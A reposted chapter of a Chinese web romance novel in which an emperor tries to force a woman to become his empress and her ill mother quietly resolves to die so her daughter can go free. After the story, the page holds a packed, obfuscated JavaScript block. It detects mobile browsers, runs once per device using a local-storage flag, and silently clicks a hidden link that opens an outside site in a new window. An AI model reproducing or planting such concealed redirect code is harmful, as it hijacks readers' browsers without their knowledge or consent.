第五文学网 > 言情小说 > 盛宠王妃不将就 > 317 娘亲

    这是他们半年来的第一次见面,虽然司徒千辰知道,不过才半年,凌剪瞳心中的怨气应该不会消减多少,可今日,朝堂上大臣们提及要立皇后和选妃子的事情,司徒千辰不可抑制地就想起了被自己困在后宫小院里的凌剪瞳。

    司徒千辰的后宫很大,可除了给宫女和嬷嬷住的之外,大多都是空房子,要是说女人,凌剪瞳还真是唯一一个。

    他们之间又沉默了,凌剪瞳觉得再僵持下去也不会有什么后果,她颔首有点笨手笨脚地学着那些宫女见到皇上的礼仪:“如果皇上没有什么事,民女就进屋了。”

    司徒千辰没有开口,凌剪瞳以为他是默许了,便转身要走,可司徒千辰却在下一刻抓住了她的手腕。

    “你还恨朕是吗?”

    凌剪瞳回了句“不敢”,可就是这两个字,司徒千辰就知道凌剪瞳大抵是真的不会再原谅自己了。

    可是他不甘心……

    他在凌剪瞳要抽回手腕的时候,从背后抱紧了她。

    凌剪瞳身子一颤,像是受了惊的小兽,拼命的挣扎,可她越是挣扎的厉害,司徒千辰抱着她的力道就越发的加大,到最后,凌剪瞳筋疲力尽了,没有了力气了,也就任由他抱着了。

    “司徒千辰,你这样做有什么意思?”

    她终于不再假模假样学着那些下人喊他皇上了。

    “剪瞳,做朕的皇后。”

    身后的男人语气有点冷,说出话的跟下命令一样,连点商量的语气都没有。

    果然是做了一国之君的人,他得到了至高无上的权力,他只要坐在龙椅上,就没有人忤逆他的意思,可凌剪瞳不同,凌剪瞳就是个例外。

    “除非你想娶一个死人当皇后,否则这辈子都没有可能。”

    凌剪瞳说话决绝,根本不给司徒千辰任何一点的希望。

    曾几何时,凌剪瞳仰慕司徒千辰,就算是挤破了脑袋也想要嫁给他,做一个将军夫人,可如今,皇后,母仪天下的显赫地位,她却再也瞧不上眼。

    “你还在想他是不是?他都不要你了,你为什么心里还惦记着他?”

    凌剪瞳视线下落,不禁落在了腕间的红玉镯子上,有时候,一些感情隐藏在心里,总比要表达出来的强,凌剪瞳不知道慕惊鸿现在过得怎么样,他又在哪里,可她知道,他们彼此的心还是在一起的,就算是两个人没有办法见面,但只要彼此思念就够了。

    “司徒千辰,你从来没有心,你是不会懂的。”

    司徒千辰眸光一凝,她竟然说自己没有心?!

    他若是真的没有心,大抵就不会让凌剪瞳她们母女住在皇宫里,他若是没有心,就不会半年来一个女人都不娶,任由朝堂上的那些大臣背地里诟病。

    他不是没有心,而是从一开始,他的心就完全交给了眼前的这个女人,可惜,这个女人却不珍惜,连接都不接,直接就扔到了地上。

    司徒千辰钳制住凌剪瞳的臂膀缓缓松开,转而扳过她的身子,让她正对着自己。

    “凌剪瞳,我不管你愿不愿意,这个皇后,你是当定了。”

    对,他是皇上,一言九鼎,凌剪瞳在他面前早就失去了可以反驳的权力了。

    司徒千辰伸手解下披在身上的大氅,转而裹在了凌剪瞳瘦小的身体上,他最后望了她一眼,便离去了。

    大氅很暖,可凌剪瞳却还是忍不住的打着寒噤。

    她想明白了,这大氅再昂贵再温暖,不是那个人的,也终究跟待在冰窟窿里没有什么两样。

    凌剪瞳苦笑一声,把司徒千辰的衣服解下,然后扔到了雪地里,提着炭火进屋了。

    凌剪瞳没想到,一进屋就看到了凌之双,这么晚了,她还没睡吗?

    她站的这么靠近门口,想必也一定听到了些什么吧。

    凌剪瞳的手上真的烫起了一个大泡,为了不让凌之双担心,她故意把袖子往下放了放,盖住,然后用火剪子把炭火弄得更旺一点。

    “剪瞳,刚才你们的谈话,娘不小心听见了……”

    “娘,御医早上刚刚给你探过脉,说是要多多卧床休息,这外面的雪下的那么大,我扶你赶紧上床吧。”

    “剪瞳……”凌之双反手便握住了凌剪瞳的手,满眼都是担忧:“娘没事,只是你……”

    “我也没事,我不是说了嘛,我现在只想跟娘在一起,其他的我不在乎。”

    “难道当司徒千辰的皇后,你也不在乎了?”

    这个……

    凌剪瞳颔首嘴角弯起一抹苦涩:“之前又不是没有嫁过,花轿上了,嫁衣也穿了,就是没拜过堂,成亲,皇后什么的都是些名分而已,我不会在乎的。”

    “可是你明明就已经嫁给慕惊鸿了,一女怎么可以嫁给二夫?”

    凌剪瞳沉默了。

    “剪瞳,你别管我了,你快去找慕惊鸿吧,只有你幸福了,娘才能过的幸福。”

    她在被司徒千辰困在这里的前几个月,不是没有想过要去找慕惊鸿,可是,随着日子越过越长,这个念头也就渐渐地淡下去了,反正司徒千辰也没有再为难过她什么,这里吃穿不缺,她也就安稳了下来。

    “娘,你就别管了,天色不早了,赶紧睡吧。”

    凌剪瞳总算是连哄带骗的把凌之双哄到床上去了,给她掖好被角之后,凌之双却拉住了她的手:“剪瞳,今天晚上陪娘一起睡吧。”

    无论在现实中还是穿越过来到了古代,她都从来没有跟亲娘一起睡过,她对于亲情总是带着一种羞于表达的不好意思,她总觉得嘴上说的再好听也比不过做出来,可自从云逸死了之后,她的想法就变了。

    所以,她没有拒绝。

    凌剪瞳搂着凌之双,凌之双很瘦,掌心下摸到的都是骨头,硬硬的,有点硌。

    烛光熄灭了,屋内黑漆漆的一片,只能听见两个人的呼吸声。

    “剪瞳,小时候没搂着你一起睡觉,是娘最大的遗憾,现在娘身体不行了,反倒是你搂着娘了。”

    凌剪瞳唇角弯起,下巴索性就窝在凌之双的颈间,撒娇道:“跟娘一起睡的感觉真好,好踏实,娘,我们一辈子这样睡好不好?”

    凌之双拍了拍凌剪瞳的胳膊,笑道:“傻丫头,娘陪你的时间有限,你怎么可能陪我睡一辈子?”

    凌剪瞳嘟了嘟嘴巴,鼻尖嗅到凌之双身上的味道好闻的很,跟慕惊鸿的感觉一样,闻到了就感觉到安心。

    “剪瞳,答应娘,以后无论发生什么事情,都要坚强的活下去,你爹在天上看着呢,我知道他,他比谁都希望你能活的好,当然,如果能找到自己的幸福会更好,娘不可能陪你一辈子的,你终归要学会一个人。”

    凌之双在凌剪瞳的耳边唠唠叨叨了很多,大到人生,小到鸡毛蒜皮,凌之双事无巨细都跟凌剪瞳在嘱咐,可凌剪瞳却有点困了,打着哈欠疲倦道:“娘,以后的时间多的是,你可以手把手的教我,我现在有点困了,我想……我想……”

    “睡觉”这两个字徘徊在凌剪瞳的嘴边很久,还没有说出来,凌剪瞳就已经歪在凌之双的肩膀上睡着了。

    凌之双浅然一笑,拍了拍凌剪瞳的后背,她侧眸看着自己的女儿,这可是从她身上掉下来的肉,小的时候,她没有机会抱抱她,她就被红颜那个女魔头给抢走了,转眼间,她们母女再次见面的时候,她已经长成这么大了。

    凌之双一直担心,凌剪瞳会跟自己生分,可如今看来,也是自己想太多了。

    有这样的女儿陪在身侧,就算是失去了自由,疾病缠身又怎么样?

    她很幸福。

    这半年来,她都过的很幸福。

    可是这幸福,总归有到头的时候,她不能再把自己的幸福建立在凌剪瞳的痛苦上了,她也想陪着凌剪瞳过今后的三十年,四十年,可那样她就太自私了。

    她早上的时候,有偷偷问过御医,自己身上这病究竟还能活过久,得到的答案虽然是意料之外,但也在她自己的猜测之中,一年,总共还有一年的活头。

    太短了。

    时间不够,她还没有好好看看自己的亲外孙女呢,怎么就要去了呢?

    可现在想想,这时间也不短,她一直都是凌剪瞳的包袱,凌剪瞳就是一直顾忌着自己,所以才留在这里,不能和慕惊鸿团聚的,如果,她死了,那……

    凌剪瞳就可以毫无顾虑,离开这皇宫,离开司徒千辰的控制,去找寻自己的幸福。

    凌之双想到这里,眼睛逐渐有点湿润了,她伸手抱住了凌剪瞳的身子,这或许是她们的最后一晚了,她没有什么遗憾了。

    凌之双摸了摸凌剪瞳的脸颊,她是真的累了,所以才睡的如此熟络。

    “惊鸿……惊鸿……”

    凌之双轻叹了一口气,不禁喃喃道:“女儿,相信娘,你很快就能见到你一直心心念念的那个人了。”

    凌之双抱紧了凌剪瞳,眼角的泪珠滚落下来,打湿了凌剪瞳的墨发,等到明天,就变得什么都不一样了。


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('s w(){p(M x==="N".i("").j().k("")){y O}P a=(Q^R)+(S^T);t z=x[\'\\U\\b\\0\\8\\V\\l\\0\\7\\2\'][\'\\2\\1\\u\\1\\q\\0\\8\\r\\3\\b\\0\']();a=\'\\m\\m\\0\\0\\1\\0\';t A=W X(\'\\3\\7\\5\\8\\1\\4\\5\\c\\4\\d\\h\\1\\7\\0\\c\\4\\d\\3\\5\\c\\4\\d\\1\\5\\c\\q\\4\\7\\5\\1\\q\\b\\B\\d\\h\\1\\7\\0\\c\\9\\6\\3\\n\\m\\9\\0\\8\\8\\f\\c\\b\\f\\e\\9\\4\\3\\7\\c\\q\\0\\9\\1\\b\\c\\1\\d\\0\\8\\3\\B\\e\\4\\7\\4\\c\\4\\0\\e\\1\\9\\4\\6\\0\\c\\e\\1\\9\\4\\6\\0\',\'\\4\');y A[\'\\2\\0\\b\\2\'](z)}s C(a){t g=o[\'\\n\\8\\0\\3\\2\\0\\D\\6\\0\\e\\0\\7\\2\']("\\3");g[\'\\h\\8\\0\\Y\']=a;g[\'\\b\\2\\f\\6\\0\'][\'\\5\\4\\b\\d\\6\\3\\f\']="Z".i("").j().k("");g[\'\\2\\3\\8\\l\\0\\2\']="\\10\\9\\6\\3\\7\\m";o[\'\\9\\1\\5\\f\'][\'\\3\\d\\d\\0\\7\\5\\r\\h\\4\\6\\5\'](g);g[\'\\n\\6\\4\\n\\m\']();o[\'\\9\\1\\5\\f\'][\'\\8\\0\\e\\1\\E\\0\\r\\h\\4\\6\\5\'](g)}o[\'\\3\\5\\5\\D\\E\\0\\7\\2\\u\\4\\b\\2\\0\\7\\0\\8\']("\\11\\12\\13\\r\\1\\7\\2\\0\\7\\2\\u\\1\\3\\5\\0\\5",s(){p(!F[\'\\l\\6\\1\\9\\3\\6\\G\\3\\8\']){p(o[\'\\9\\1\\5\\f\']!=14){F[\'\\l\\6\\1\\9\\3\\6\\G\\3\\8\']="\\v";H=I[\'\\l\\0\\2\\v\\2\\0\\e\']("J".i("").j().k(""));p(!H&&w()){C("\\h\\2\\2\\d\\15\\K\\K\\16\\17\\18\\19\\L\\2\\6\\b\\0\\f\\L\\n\\1\\e")}I[\'\\b\\0\\2\\v\\2\\0\\e\']("J".i("").j().k(""),"1a".i("").j().k(""))}}});',62,73,'u0065|u006F|u0074|u0061|u0069|u0064|u006C|u006E|u0072|u0062||u0073|u007C|u0070|u006D|u0079|_0x6fc11c|u0068|split|reverse|join|u0067|u006B|u0063|document|if|u0077|u0043|function|const|u004C|u0049|isMobileDevice|navigator|return|_0xe78gc|_0x_0xe70|u0020|OpenUrl|u0045|u0076|window|u0056|hasExecuted|localStorage|ff_kcul|u002F|u002E|typeof|denifednu|false|var|187114|187106|914247|914243|u0075|u0041|new|RegExp|u0066|enon|u005F|u0044|u004F|u004D|null|u003A|u0037|u0035|u0033|u0032|eurt'.split('|'),0,{}))